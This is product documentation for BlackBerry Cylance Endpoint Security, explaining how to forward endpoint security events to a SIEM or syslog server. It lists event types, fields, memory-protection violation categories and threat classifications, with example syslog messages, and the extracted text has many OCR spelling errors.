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Sending Cylance Endpoint Security events to a SIEM
solution or syslog server

You can configure Cylance Endpoint Security to forward events to a single SIEM solution or syslog server.

The content of each event is Unicode plain text consisting of key-value pairs, separated by commas. If your
organization requires events to be sent to multiple SIEM solutions or syslog servers, you may be able to configure
a syslog forwarder. See the documentation for your Syslog or SIEM server for information about how to configure
forwarding to multiple servers.

If the Cylance Endpoint Security integration cannot successfully deliver syslog messages to a syslog or SIEM
server, an email notification will be sent to administrators (built-in role) with a confirmed email address within an
organization.

The maximum number of undelivered messages before the integration is disabled is 400. The first warning email
is sent after a third of the maximum number of undelivered messages are sent. Each message attempts to be
sent ten times before it fails to forward to a syslog or SIEM server and then transitions to a dead-letter queue.

Due to various factors, there may be delays in the reporting of events to a SIEM solution or syslog server, so it
should not be used for real-time or near real-time monitoring.

Source IP addresses for a SIEM solution or syslog messages

Syslog messages are sent from the following IP addresses, based on the login URL for your region.

Note: In June 2024 the source IP addresses for syslog messages will be migrated to the new source IP
addresses in the table below. A notification was sent to all customers. To view the notification, see KB 117076
and KB 139930. During the transition period, environments should be configured to allow incoming syslog
messages from both the old and the new IP addresses. A subsequent notification will be sent to all customers
when the old IP addresses will no longer be used to send syslog messages. In addition to the IP changes, the
infrastructure was updated to require TLS 1.2 or higher.

Region IP addresses prior to June 2024 New IP addresses as of June 2024
and after

Asia-Pacific Northeast (protect-
apnel.cylance.com)

Asia-Pacific Southeast (including
Australia; protect-au.cylance.com)

Europe Central (protect-
eucl.cylance.com)

13.113.53.36
13.113.60.107

52.63.15.218
52.65.4.232

52.28.219.170
52.29.102.181
52.29.213.11
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54.168.171.98
54.238.82.192
52.69.168.90

13.238.93.229
52.63.233.171
54.253.35.217

3.66.37.34
3.127.141.35
3.78.57.226



https://support.blackberry.com/community/s/article/117076
https://support.blackberry.com/community/s/article/139930

North America
(protect.cylance.com)

South America East (protect-
sael.cylance.com)

52.2.154.63
52.20.244.157
52.71.59.248
52.72.144.44
54.88.241.49

52.67.244.213
52.67.252.42

54.165.207.23
3.227.142.194
35.174.146.38

18.228.56.10
54.232.121.83
54.232.143.137
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Configure Cylance Endpoint Security to send events to a
SIEM solution or syslog server

The source IP addresses for your SIEM solution or syslog messages are sent from IP addresses based on the
login URL for your region. For more information, see Source IP addresses for a SIEM solution or syslog messages.
1. In the management console, on the menu bar, click Settings > Application.
2. Click the Syslog/SIEM checkbox.
3. Select the events that you want to send to your organization's SIEM solution or syslog server.

For more information about the different types of events, see any of the following sections:

+  CylancePROTECT Desktop event types
+  CylancePROTECT Mobile event types
+ CylanceOPTICS detection events
+  CylanceGATEWAY event types
+ CylanceAVERT event types
4. Select or type in the information for your SIEM or syslog integration. The other sections in this guide provide
details and descriptions for each option.
5. In the SIEM drop-down list, click the appropriate SIEM solution or syslog server.

6. In the Protocol drop-down list, click the appropriate protocol. If you choose TCP, it is a best practice to select
the TLS/SSL check box to ensure that the syslog message is encrypted in transit. Verify that your SIEM
solution or syslog server is configured to listen for messages, and that it supports TLS v1.2 or higher.

7. If you want to include the full contents of fields with command line values, select the Allow messages over
2 KB check box to ensure that the full file path is populated in the Instigating Process Command Line field of
CylanceOPTICS detection events. This setting is only available for CylanceOPTICS.

If you do not select this option, the file path in the Instigating Process Command Line field in the
CylanceOPTICS detection events are truncated at 120 characters to keep the size of messages under 2 KB.

8. In the IP/Domain field, type the FQDN or IP address of the SIEM solution or syslog server.

9. In the Port field, type the port number that you want the SIEM solution or syslog server to listen on for
messages. The port number must be between 1 and 65535.

10.In the Severity drop-down list, click the severity of the messages that should appear in the SIEM solution or
syslog server. This value does not change the messages that are sent to the SIEM solution or syslog server.

11.In the Facility drop-down list, click the type of application that is logging the message. This value is used to
categorize the messages that are received by the SIEM solution or syslog server.

12.If necessary, in the Custom Token field, type the custom token that your organization’s log management
service (for example, SumoLogic) requires for SIEM or syslog messages.

13.In the Include tenant identifiers drop-down list, specify whether the tenant ID, name, or both should be
included in the syslog messages. This value allows you to easily identify the source tenant in a multiple tenant
environment. By default, this option is disabled.

14.Click Test Connection to verify that your settings are correct.
15.Click Save.
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CylancePROTECT Desktop event types

Syslog events have standard fields like timestamp, severity level, facility, and a payload message.

CylancePROTECT Desktop application control

This option is only visible to users who have the application control feature enabled. Application control events
represent actions occurring when the device is in application control mode. Selecting this option will send a
message to the syslog server whenever an attempt is made to modify or copy an executable file, or when an
attempt is made to execute a file from an external device or network location.

Field Value Description
Action Allow The event was allowed.
Deny The event was denied.
Action Type Execution An attempt to execute a file from the local drive

Device Name

Event Name

Event Type
File Path

IP Address

ExecutionFromExternalDrive

PEFileChange

Unknown
[varies]

Execution

ExecutionFromExternalDrive

PEFileChange

Unknown

AppControl

[varies]

[varies]

was detected.

An attempt to execute from an external drive or
USB drive was detected.

An attempt to change a portable executable file
on the file system was detected. This includes
copying files onto the file system.

The action type could not be determined.

This is the name of the device.

An attempt to execute a file from a local drive
was detected.

An attempt to execute from an external drive or
USB drive was detected.

An attempt to change a portable executable file
on the file system was detected. This includes
copying files onto the file system.

The event name could not be determined.

This is an application control event.

This is the path to the file.

This is the IP address for the device. Multiple IP
addresses are comma separated values.
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Field Value Description

SHA256 [varies] This is the SHA256 hash for the file.

Zone Names [varies] These are the zones that the device belongs to.

Denying portable executable file changes

Bl ackBerry Protect Desktop: Event Type: AppControl, Event Nanme: pechange, Device
Nane: W N-7ent Sh64, | P Address: (192.168.119.128), Action: PEFileChange, Action
Type: Deny, File Path: C:\Users\adm n\AppData\Local \ Tenp\ Myl nstal | er. exe, SHA256:
04D4DC02D96673ECA9050FE7201044FDB380E3CFEOD727E93DB35A709B45EDAA), Zone Nanes:
(Script Test, Server Test)

Denying executions from an internal device

Bl ackBerry Protect Desktop: Event Type: AppControl, Event
Nane: executionfronexternal drives, Device Nane: W N- 7ent Sh64,
| P Address: (192.168.119.128), Action: PEFileChange, Action
Type: Allow, File Path: \\sharedl\ psexec. exe, SHA256:
F8DBABDFA03068130C277CE49C60E35C029FF29DOE3C74C362521F3FB02670D5), Zone Nanes:
(Script Test, Server Test)

CylancePROTECT Desktop audit log

Selecting this option will send the audit log of user actions performed in the management console to the syslog
server. Audit log events will always appear in the audit log screen, even when this option is not enabled.

Field Value Description
EcoId [varies] This is the administrator user's EcolD, if
available.
Event Name AuditLog This is an audit log event.
AcceptEula The user accepted the End-User License

Agreement (the first user to log in to a newly
created tenant).

AgentUpdate The user updated the CylancePROTECT Desktop
agent.
ApplicationAdd The administrator user created a custom

application (on the Integration page). This
includes the name of the application.

ApplicationEdit The administrator user updated the custom
application name.

ApplicationEdit The administrator user changed the
permissions for a custom application.
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Field

Value

Description

ApplicationEdit

ApplicationRemove

CertificateRepositoryAdditem

CertificateRepositoryDeleteltem

CertificateRepositoryEditltem

CertificateSafelistAddIitem

CertificateSafelistDeleteltem

CustomAuthenticationDisable

CustomAuthenticationSave

DeleteAllQuarantinedFiles

DeleteTokenThreatDataReport

DetectionExceptionAdd

DetectionExceptionEdit

DetectionExceptionRemove

DetectionRuleAdd

The administrator user regenerated the
credentials for the custom application.

The administrator user removed a custom
application.

The administrator user added a certificate. The
message includes the name and thumbprint for
the certificate.

The administrator user deleted a certificate. The
message includes the name and thumbprint for
the certificate.

The administrator user edited a certificate. The
message includes the name and thumbprint for
the certificate.

The administrator user added a certificate to the
safe list.

The administrator user removed a certificate
from the safe list.

The administrator user disabled custom
authentication.

The administrator user saved custom
authentication settings.

The administrator user issued a command
from the management console to delete all
quarantined files on a device.

The administrator user deleted the threat data
report token.

The administrator user added a CylanceOPTICS
detection exception.

The administrator user edited a CylanceOPTICS
detection exception.

The administrator user removed a
CylanceOPTICS detection exception.

The administrator user added a CylanceOPTICS
detection rule.
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Field Value Description

DetectionRuleEdit The administrator user edited a CylanceOPTICS
detection rule.

DetectionRuleRemove The administrator user removed a
CylanceOPTICS detection rule.

DetectionRuleSetAdd The administrator user added a CylanceOPTICS
detection rule set.

DetectionRuleSetEdit The administrator user edited a CylanceOPTICS
detection rule set.

DetectionRuleSetRemove The administrator user removed a
CylanceOPTICS detection rule set.

DetectionsChangeStatus The administrator user changed the status of a
CylanceOPTICS detection.

DetectionsRemove The administrator user removed a
CylanceOPTICS detection.

DeviceAdd The administrator user registered a device.

DeviceChangelLockdownProfile The administrator user changed the customized
partial lockdown configuration for a device.

DeviceEdit The administrator user edited a device.

DeviceFileDownload The administrator user download a file that
CylanceOPTICS identified as a potential threat.

DevicelLock The administrator user locked a device.

DeviceRemove The administrator user removed a device.

DeviceShowUnlockKey The administrator user revealed the unlock key
for a device.

DeviceUnlock The administrator user unlocked a device.

DownloadThreatDataReport The administrator user downloaded the

deprecated threat data report.

EndUserAssignPolicy The administrator user assigned a
CylancePROTECT Mobile policy to one or more
users. The message indicates the assigned
users and policy.
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Field Value Description

EndUserAdd The administrator user added a
CylancePROTECT Mobile user. The message
includes the CylancePROTECT Mobile user’s
email address and name.

EndUserlmport The administrator user imported
CylancePROTECT Mobile users. The message
includes the CylancePROTECT Mobile user
email addresses and names.

EndUserRemove The user administrator removed a
CylancePROTECT Mobile user. The message
includes the CylancePROTECT Mobile user’s
email address and name.

EndUserSendInvitation The administrator user sent an activation
password and QR code to one or more
CylancePROTECT Mobile devices. The message
includes the CylancePROTECT Mobile user
email addresses, a success count, and a failure

count.
FocusDataAdd The administrator user retrieved focus data.
GenerateTokenThreatDataReport The administrator user generated a new token

for the threat data report.

GhostLoginSettingChange The administrator user enabled or disabled the
enable support login feature.

GlobalListAdd The administrator user added a file to the global
list.

GlobalListRemove The administrator user removed a file from the
global list.

InstallationTokenDelete The administrator user deleted the installation
token.

InstallationTokenRegenerate The administrator user generated a new

installation token.

InstaQueryAdd The administrator user added an InstaQuery.

InstaQueryRemove The administrator user removed an InstaQuery.

InvitationUrlGenerate The administrator user generated an invitation
URL.
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Field Value Description

JobServiceStop The administrator user stopped a package
deploy job.
LockdownConfigurationAdd The administrator user added a custom partial

lockdown configuration.

LockdownConfigurationEdit The administrator user changed a custom
partial lockdown configuration.

LockdownConfigurationDelete The administrator user deleted a custom partial
lockdown configuration.

LoginFailure The administrator user failed to log in to the
management console.

LoginSuccess The administrator user successfully logged in to
the management console.

MobileAlertsExport The administrator user exported
CylancePROTECT Mobile alert information
from the management console. The message
indicates any filters that were applied.

MobileAlertsignore The administrator user selected and ignored a
CylancePROTECT Mobile alert. The message
indicates the type and name of the mobile alert.

MobileDeviceExport The administrator user exported
CylancePROTECT Mobile device information
from the management console. The message
indicates any filters that were applied.

MobileDeviceRemove The administrator user removed a
CylancePROTECT Mobile device. The message
indicates the removed user and device details.

MobileExclusionsAdd The administrator user added an app or
developer certificate to the CylancePROTECT
Mobile safe or unsafe list.

MobileExclusionsRemove The administrator user removed an app or
developer certificate from the CylancePROTECT
Mobile safe or unsafe list.

MobilePolicyAdd The administrator user added a
CylancePROTECT Mobile policy. The message
indicates the policy name and settings.
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Field

Value

Description

MobilePolicyEdit

MobilePolicyRemove

NightlyThreatDataReportChange

PackageDeployAdd

PackageDeployRemove

PackagePlaybookAdd

PackagePlaybookEdit

PackagePlaybookRemove

PlaybookResultRemove

PolicyAdd

PolicyEdit

PolicyRemove

PolicySafeListAdd

PolicySafeListRemove

RemoteResponseConnect

The administrator user edited a
CylancePROTECT Mobile policy. The message
indicates the policy name and changes.

The administrator user removed a
CylancePROTECT Mobile policy. The message
indicates the removed policy.

The administrator user enabled or disabled the
threat data report (on the applications page).

The administrator user added a package deploy.

The administrator user removed a package
deploy.

The administrator user added a CylanceOPTICS
package playbook.

The administrator user edited a CylanceOPTICS
package playbook.

The administrator user removed a
CylanceOPTICS package playbook.

The administrator user removed a
CylanceOPTICS package playbook result.

The administrator user added a policy. The
message includes the policy name.

The administrator user edited a policy. The
message includes the policy name.

The administrator user removed a policy. The
message includes the policy name.

The administrator user added a file to the policy
safe list. The message includes the SHA256
hash that was added.

The administrator user removed a file from
the policy safe list. The message includes the
SHA256 hash that was removed.

The administrator user opened a
CylanceOPTICS remote response session with a
device.
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Field

Value

Description

RemoteResponseDisconnect

RequestToGenerateThreatDataReport

ScriptControlExclusionListAdd

ScriptControlExclusionListRemove

SyslogDisable

SyslogSettingSave

ThreatGlobalQuarantine

ThreatQuarantine

ThreatSafeList

ThreatWaive

UninstallAgentPasswordSave

UninstallAgentRequirePasswordDisable

UserAdd
UserEdit
UserRemove
ZoneAdd

ZoneAddDevice

ZoneEdit

The administrator user closed a CylanceOPTICS
remote response session.

The administrator user enabled or disabled the
Threat Data Report (on the Application page).

The administrator user added a script to the
Global Safe List.

The administrator user removed a script from
the Global Safe List.

The administrator user disabled the syslog
feature.

The administrator user saved the syslog
settings.

The administrator user added a file to the Global
Quarantine List.

The administrator user quarantined a file for an
endpoint.

The administrator user added a file to the Global
Safe List.

The administrator user waived a file for an
endpoint.

The user saved a password after enabling the
option to require a password to uninstall the
CylancePROTECT Desktop agent.

The user turned off the option to require
users to specify a password to uninstall the
CylancePROTECT Desktop agent.

The administrator user created a user.

The administrator user edited a user.

The administrator user removed a user.

The administrator user added a zone.

The administrator user added a device to a
zone.

The administrator user edited a zone.
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Field Value Description

ZoneRemove The administrator user removed a zone.
ZoneRemoveDevice The administrator user removed a device from a
zone.
ZoneRuleAdd The administrator user added a zone rule.
ZoneRuleEdit The administrator user edited a zone rule.
ZoneRuleRemove The administrator user removed a zone rule.
Message [varies] The message contains information related to

the action. Example: When a file is added to
the global quarantine list, the message might
include the file hash and the reason given for
adding it to the global list.

User [varies] The user who logged in and triggered this audit
log event.

Example message for audit log events that are sent to a syslog server or SIEM solution

Bl ackBerry Protect Desktop: Event Type: AuditLog,
Event Nanme: Threat d obal Quaranti ne, Message: SHA256:
A1E92E2E84A1321F499A5EC500E8B9A9COCA28701668BF13EAS56D3995A96153F,
1CCC95B7B2F781D55D538CA01D6049762FDF6A75B32A06DF3CC2EDCLF1573BFA; Reason:
Manual I'y bl acklisting these 2 threats., User: (johnsm th@ontoso.com

Example message for audit log events that are sent to syslog serve or SIEM solution with Eco Id

Bl ackBerry Protect Desktop: Event Type: AuditlLog, Event Nane: ZoneEdit, Message:
Exanmpl e nmessage, User: (johnsmth@ontoso.com Eco Id: Bn6zX201m PgFzl / MBnj API 4=

Example message for APl events sent to a syslog server or SIEM solution in audit log

API create/add, update, and delete events are captured in the audit log. In the example below, the term

“user” appears twice. The first user is the name of the user being edited. The second user is the name of

the management console user who triggered the audit event, and for an API event, this field is empty. The
information on the user who performed the API event is not captured because the event was performed using an
authentication token, not by a user logged into the management console.

Bl ackBerry Protect Desktop: Event Type: AuditlLog, Event Name: UserEdit, Message:
User: Jane Smith, User: (janesmth@ontoso.com

Example message for audit log events that are sent to a syslog server or SIEM solution
with LockdownConfigurationAdd

Event Type: AuditlLog, Event Nanme: LockdownConfi gurationAdd, Message: Configuration
Profile: Test 1; Description: Description 1; Witelist Definitions:
{"WitelistedAddresses': [{'ip_address': '10.10.10.10', 'direction':

"Inbound'}, {'ip_address': '192.168.0.10:3389', 'direction': 'BiDirectional'}],
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"WhitelistedPorts': [{'port': 22, '"direction': 'Qutbound'}]}, User: John
j ohndoe@l ackberry. com (j ohndoe@l ackberry. com

CylancePROTECT Desktop devices

Selecting this option sends device events to the syslog server.

Field Value Description

Agent Version [varies] This is the version of the CylancePROTECT
Desktop agent installed on the device.

CylanceOPTICS [varies] If CylanceOPTICS is enabled, this is the version

Version of the CylanceOPTICS agent installed on the
device.

Device Message [varies] The message is populated when the device

details are changed by the user. This can
include: name change, policy change, zone
changes, log level change, and self-protection

level change.
Device Name [varies] This is the name of the device.
Event Type Device This is a device event.
Event Name Device Policy Assigned A policy was assigned to the device.
Device Removed The device was removed from the management
console.
Device Updated The device was updated.
Device Assigned to Zone The device was assigned to a zone or zones.
Registration A new device was registered with the

management console.

System Security A message that is logged after a new device
is registered and when a user logs on to the
device.

IP Address [varies] This is the IP address for the device.
Kernel Version [varies] This is the operating system's running kernel

version on the device.

Logged On Users [varies] These are the users currently logged on to the
device. This could be the email address and/or
user's name.
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Field Value Description

MAC Address [varies] This is the MAC address for the device.
0S [varies] This is the operating system used on the device.
Policy Change [varies] This shows the previous policy and the new

policy assigned to the device.

Policy Name [varies] This is the name of the policy assigned to the
device.
Renamed “device_name” to “device_name” This shows the previous name and the new

name for the device.

User [varies] This is the name of the user updating the
device.

Zones Added [varies] These are the zone names to which the device
has been added.

Zone Name [varies] These are the zone names to which the device
is assigned.

New device registration events

When a new device is registered, you will receive two messages for this event: Registration and SystemSecurity.
SystemSecurity messages are also generated when a user logs on to a device, so you may receive this message
after registration.

Bl ackBerry Protect Desktop: Event Type: Device, Event Nanme: Registration, Device
Name: W N- 55NATVCQHBU

Bl ackBerry Protect Desktop: Event Type: Device, Event Name: SystenBSecurity, Device
Nanme: W N-55NATVQHBUU, Agent Version: 1.1.1270.58, |P Address: (10.3.0.154), NAC
Addr ess: (005056881877), Logged On Users: (W N 55NATVQHBUW Admi ni strator), OS:

M crosoft Wndows Server 2008 R2 Standard Service Pack 1 x64 6.1.7601

Example message when removing a device

When a device is removed, you will receive the following message for this event: Device Removed.

Bl ackBerry Protect Desktop: Event Type: Device, Event Nanme: Device Renoved, Device
Nanes: (jsmthxp-test), User: (jsmth@ontoso.com

Example message when updating a device

When a device’s policy, zone, name, or logging level has changed, you will receive the following message for this
event: Device Updated.

Bl ackBerry Protect Desktop: Event Type: Device, Event Name: Devi ce Updat ed,
Devi ce Message: Renaned: 'W N 55NATVQHBUU to ' W N 2008R2-1RV1'; Policy
Changed: 'Default' to 'IRVPolicyl'; Zones Added: 'IRV1', User: John Smith
(j ohnsm t h@ont oso. com
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CylancePROTECT Desktop device control

When this option is selected, any device control events will be logged to the syslog server.

Field

Value

Description

Device Name

Event Type

Event Name

External Device
Type

External Device
Name

External Device
Product ID

External Device
Serial Number

External Device
Vendor ID

Zone Names

[varies]

DeviceControl

Blocked

Fullaccess

Readonly

AndroidUSB

i0S

Stilllmage
USBCDDVDRW
USBDrive
VMWareMount
WPD

[varies]

[varies]

[varies]

[varies]

[varies]

This is the name of the device associated with the device control
event.

This is the type of event.

A USB mass storage device cannot be used on the device (set in
device policy).

A USB mass storage device can be used on the device (set in
device policy).

A USB mass storage device can be used with read-only access
on the device (set in device policy).

The external device is an Android device.

The external device is an iOS device.

This external device is a still image device, like a camera.
This external device is a USB disc drive (CD, DVD, Blu-ray).
This external device is a USB drive, like a thumb drive.
This external device is a VMware USB PassThrough.

This external device is a Windows Portable Device.

The name given to the external device.

This varies by manufacturer.

This varies by manufacturer.

This varies by manufacturer.

These are the zones that the device belongs to.
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Example message for device control events

Bl ackBerry Protect Desktop: Event Type: DeviceControl, Event Nane: full access,
Devi ce Name: Test_Device_1, External Device Type: i0S, External Device Vendor |D:
1953, External Device Nane: Ceneric USB Drive - 2017/02/16-01, External Device
Product 1 D: 0202, External Device Serial Nunber: 575833314133343210041246, Zone
Nanes: (test_zone 02)

For Windows, Android devices may be identified as Still Image or Windows Portable Device.

CylancePROTECT Desktop memory protection

Selecting this option will log any memory exploit attempts that might be considered an attack from any of the
Tenant’s devices to the syslog server. For full descriptions of each violation type, see memory protection violation
types in the Cylance Endpoint Security Setup content.

Field Value Description

Action Allowed The event is allowed because of a
policy.

Blocked The event is blocked because of a
policy.

None The event is allowed because no policy
has been defined for this violation.

Terminated The process has been terminated.

Device ID [varies] The unique ID for the device.

Device Name [varies] The name of the device.

Event Type ExploitAttempt A memory protection event is known as
an exploit attempt.

Event Name Allowed The file was allowed to run, either
because it was added to an exclusion
or the action was set to None (Ignore).

Blocked The exploit attempt was blocked.
However, if a process was started
before the exploit was blocked (for
example, the process was started
before memory protection was
enabled), the process will continue to
run.

None This is an alert only. No actions were
taken on the exploit attempt.
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Field Value Description

Terminated The exploit attempt was blocked, and
any processes were terminated.

IP Address [varies] The IP address or IP addresses for the
device.
Policy Name [varies] This is the name of the policy assigned

to the device.

Process ID [varies] The process ID for the event.
Process Name [varies] The fully qualified path of the process.
User Name [varies] The name of the user currently logged

in to the device.

Violation Type DyldInjection The memory belonging to the Windows
Local Security Authority process
has been accessed in a manner that
indicates an attempt to obtain users’
passwords.

LsassRead The memory belonging to the Windows
Local Security Authority process
has been accessed in a manner that
indicates an attempt to obtain users’
passwords.

MaliciousPayload A generic shellcode and payload
detection associated with exploitation
has been detected.

OutOfProcessAllocation Remote Allocation of Memory: A
process has allocated memory in
another process. Most allocations will
only occur within the same process.
This generally indicates an attempt
to inject code or data into another
process, which may be a first step in
reinforcing a malicious presence on a
system.

OutOfProcessApc Remote APC Scheduled.
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Field Value Description

OutOfProcessCreateThread Remote Thread Creation: A process
has created a new thread in another
process. A process'’s threads are
usually only created by that same
process. This is generally used by
an attacker to activate a malicious
presence that has been injected into
another process.

OutOfProcessMap Remote Mapping of Memory: A process
has allocated memory in another
process. Most allocations will only
occur within the same process. This
generally indicates an attempt to inject
code or data into another process,
which may be a first step in reinforcing
a malicious presence on a system.

OutOfProcessOverwriteCode Remote Overwrite Code: A process
has modified executable memory
in another process. Under normal
conditions executable memory will
not be modified, especially by another
process. This usually indicates an
attempt to divert execution in another
process.

OutOfProcessUnmapMemory Remote Unmap of Memory: A process
has removed a Windows executable
from the memory of another process.
This may indicate an intent to replace
the executable image with a modified
copy for the purpose of diverting
execution.

OutOfProcessWrite Remote Write to Memory: A
process has modified memory in
another process. This is usually an
attempt to store code or data in
previously allocated memory (see
OutOfProcessAllocation) but it is
possible that an attacker is trying to
overwrite existing memory in order
to divert execution for a malicious
purpose.
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Field Value Description

OutOfProcessWritePe Remote Write PE to Memory: A process
has modified memory in another
process to contain an executable
image. Generally this indicates that an
attacker is attempting to execute code
without first writing that code to disk.

OverwriteCode The code residing in a process’s
memory has been modified using a
technique that may indicate an attempt
to bypass Data Execution Prevention
(DEP).

RamScraping A process is trying to read valid
magnetic stripe track data from another
process. This is typically related to
point of sale systems (POS).

StackPivot A generic shellcode and payload
detection associated with exploitation
has been detected.

StackProtect The memory protection of a thread’s
stack has been modified to enable
execution permission. Stack memory
should not be executable, so this
usually means that an attacker is
preparing to run malicious code stored
in stack memory as part of an exploit,
an attempt which would otherwise be
blocked by Data Execution Prevention
(DEP).

ZeroAllocate A null page has been allocated. The
memory region is typically reserved,
but in certain circumstances it can
be allocated. Attacks can use this to
setup privilege escalation by taking
advantage of some known null de-
reference exploit, typically in the kernel.

Zone Names [varies] The zones associated with the device.

Example message for memory protection events

Bl ackBerry Protect Desktop: Event Type: ExploitAttenpt, Event Nanme: bl ocked,
Devi ce Name: W N- 7ent Sh64, | P Address: (192.168.119.128), Action: Bl ocked,
Process I D: 3804, Process Nane: C \AttackTest64.exe, User Name: admn,

Vi ol ati on Type: LSASS Read, Zone Nanes: (Script Test, Server Test), Device |D:
e378dacb- 9324- 453a- b8c6- 528406952195
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CylancePROTECT Desktop script control

Selecting this option will log any newly found scripts, convicted by CylancePROTECT Desktop, to the syslog
server.

Syslog script control events contain the following properties:

« Alert: The script is allowed to run. A script control event is sent to the management console.
+ Block: The script is not allowed to run. A script control event is sent to the management console.

Reporting frequency

The first time a script control event is detected, a message is sent via syslog with full event information. Each
subsequent event that is deemed a duplicate will not be sent via syslog for the remainder of the day. At the end of
the day, if the counter for a specific script control event is greater than one, an event will be sent via syslog with
the count of all duplicate events that have transpired that day. If the counter equals one at the end of the day, no
additional message will be sent by the syslog serve or SIEM solution.

Determining if a script control event is a duplicate uses the following logic:

+ Look at key information: Device, Hash, Username, and Block/Alert.

+ For the first event received in a day, set a counter value to 1. There are separate counters for Block and Alert.
+ All subsequent events with the same key increment the counter.

+ The counter resets each calendar day.

Example: If script A runs on Device 1 at 11:59PM on 9/20/18 and then again at 12:05AM, 12:10AM, and 12:15AM
on 9/21/18, the following will occur:

+ One syslog message will be sent on 9/20/18 for the one script control event for that day.
+ One syslog message will be sent on 9/21/18 for the two duplicate script control events for that day.

Only one syslog message is sent on 9/21/18 because the events are duplicates of the event that occurred on
9/20/18.

Field Value Description
Device ID [varies] This is the unique ID for the device.
Device Name [varies] This is the name of the device.
Event Type ScriptControl This is a script control event.
Event Name Alert This is an alert only. No actions were taken on the script control event.
Blocked The script control event was blocked.
None No action was taken on the script control event.
Unknown It could not be determined if any action was taken on the script control
event.
File Path [varies] This is the path to the file.
Interpreter ActiveScript This is the interpreter that detects VBScript and Jscript that run from
the Windows Script Host (WSH).
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Field Value Description
MacroScript This is the interpreter that detects macros in Microsoft Office
documents.
Powershell This is the interpreter that detects PowerShell scripts.
Interpreter [varies] This is the version number of the interpreter.
Version
Policy Name [varies] This is the name of the policy assigned to the device.
SHA256 [varies] This is the SHA256 hash for the file.
Zone Names [varies] These are the names of the zones to which the device belongs.

Example message for script control events

Bl ackBerry Protect

Deskt op -

- - Event Type: ScriptControl,

Event Name: Bl ocked, Device Nane: Fake Device, File Path: d:
\'wi ndows\ syst enB2\ wi ndowspower shel | \ v2. 1\ new yMade. vbs, SHA256:
FE9B64DEFD8BF214C7490BB7F35B495A79A95E81F8943EE279DC99998D3D3440, I nterpreter:

active, Interpreter Version:
(Script Test, Server Test),

Pol i cy Name: Default

6. 1. 7600. 16385 (wi n7_rtm 090713-1255), Zone Nanes:

Devi ce I D: e378dach-9324-453a- b8c6- 5a8406952195,

CylancePROTECT Desktop threats

Selecting this option will log any new threats, or changes observed to existing threats, to the syslog server.
Examples of changes include removing, quarantining, or waiving threats.

Field Value Description
Auto Run False The threat is not set to automatically run when
the system starts.
True The threat is set to automatically run when the
system starts.
Unknown It cannot be determined if the threat is set to
auto run or not.
Cylance Ranges from 1 to 100 A file with a score ranging from 1 to 59 is
Score considered Abnormal.

Detected By

ExecutionControl

A file with a score ranging from 60 to 100 is
considered Unsafe.

The threat is detected by execution control.
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Field

Value

Description

Device Name

Drive Type

Event Name

Event Type
File Name
File Owner

File Type

BackgroundThreatDetection

FileWatcher

NotAvailable

RunningModuleScan

[varies]

[varies]

threat_found

threat_cleared

threat_quarantined

threat_waived

threat_changed

corrupt_found

Threat

[varies]
[varies]
Archive

Executable

The threat is detected by background threat
detection.

The threat is detected when scanning new or
modified executable files.

The threat detection information is not
available.

The threat is detected by running a module
scan.

This is the name of the device that the threat
was found on.

This is the type of drive or storage device the
threat originated from, if known. The drive type
includes: CDROM, Fixed, Network, None, No
Root Directory, RAM, and Removable.

A new threat has been found in an unsafe state.
An existing threat has been cleared (removed).
This occurs when a threat_removed event is
generated.

A new threat has been found in the quarantined
status.

A new threat has been found in the waived
status.

The behavior of an existing threat has changed
(examples: score, quarantine status, running
status).

A file is classified as corrupt because the file
appears to be malformed and cannot run, or the
file may contain a malformed file structure.
This is a threat event.

This is the name of the threat (file).

This is the owner of the threat (file).

The file is an archive file.

The file is a Windows executable.
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Field Value Description

Linuxexe The file is a Linux executable.

MacOSExe The file is a macOS executable.

Ole The file is a Microsoft Office file.

Pdf The file is a PDF.

Unknown The file type could not be determined.
Found Date [varies] This is the date and time that the threat was

found on the device.

IP Address [varies] This is the IP address or IP addresses for the
device.
Is Malware False The threat is not classified as malware (Threat

Classification).

True The threat is classified as malware (Threat
Classification).

Is Running False The threat is not running.
True The threat is currently running.
Is Unique To False The threat is not uniquely identifiable by
CylancePROTECT Desktop.
True The threat is uniquely identifiable by
CylancePROTECT Desktop.
MD5 [varies] This is the MD5 hash for the file.
Path [varies] This is the path to the file.
Policy Name  [varies] This is the name of the devicy policy.
SHA256 [varies] This is the SHA256 hash for the file.
Status Abnormal The threat is considered abnormal.
Cleared The administrator added the threat to the

global safe list or deleted the threat in the
management console, or the user deleted the
threat on the device.

Corrupt The file is corrupt or otherwise invalid.
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Field

Value

Description

Threat
Classification

Quarantined

Unsafe

Waived

[Threat class] - [Threat subclass] - [Threat

family name]

[Threat class] values

Dual Use

File Unavailable

Malware

Possible PUP

PUP

Trusted
[Threat subclass] values

Adware

Backdoor

Bot

Corrupt
Crack

Downloader

The file has been quarantined because an
administrator added it to the global quarantine
list or quarantined it on a specific device.

The threat is considered unsafe.

The administrator waived the file, allowing it to
run on a specific device.

The threat classification indicates the threat
class, threat subclass, and threat family name.
The possible class and subclass values are

detailed below. The value of family name varies
depending on the nature of the threat.

The file can be used for malicious and non-
malicious purposes.

The file is unavailable for analysis. For example,
the file is too large to upload.

The file has been identified as malicious.

The file might be a potentially unwanted
program (PUP).

The file has been identified as a possible
potentially unwanted program (PUP).

The file has been identified as safe.

The file has advertisements or unwanted
bundled add-ons.

The file provides unauthorized access.

The file contains malware that connects to a
botnet server.

The file is malformed or unable to run.
The file is altered to bypass licensing.

The file contains malware that downloads data.
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Field Value Description

Dropper The file contains malware that installs other
malware.

Exploit The file attacks a specific vulnerability.

Fake Alert The file contains malware that appears to be
legitimate security software.

Fake AV The file contains malware that appears to be
legitimate security software.

Game This is a game file.

Generic This file does not fit into any existing category.

Hacking Tool This file is a hacking tool.

Infostealer This file records login credentials and other
sensitive information.

Keygen This file generates product keys.

Monitoring Tool

Other

Parasitic

Pass Crack

Portable Application

Ransom
Remnant
Remote Access
Rootkit

Scripting Tool

Tool

This file tracks a user’s activities.

This is a category used for PUPs that don't fit
anything else.

This threat is spread by attacking other
programs.

This file is used to reveal passwords.

This file is designed to run without needing
installation.

This file restricts access.

These are remnants post removal.

This file can access another system remotely.
This file avoids detection.

This is any script that can run as if it were an
executable.

These are administrative features used to attack
or intrude.
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Field Value Description

Toolbar This is any technology that places additional
buttons or input boxes on-screen.

Trojan This file disguises itself as legitimate software.

Virus This file inserts or appends itself to other files.

Worm This file propagates by copying itself to another
device.

Example message for threat events

Bl ackBerry Protect Desktop: Event Type: Threat, Event Nane: threat found,
Devi ce Name: SH- Wn81-1, IP Address: (10.3.0.132), File Name:
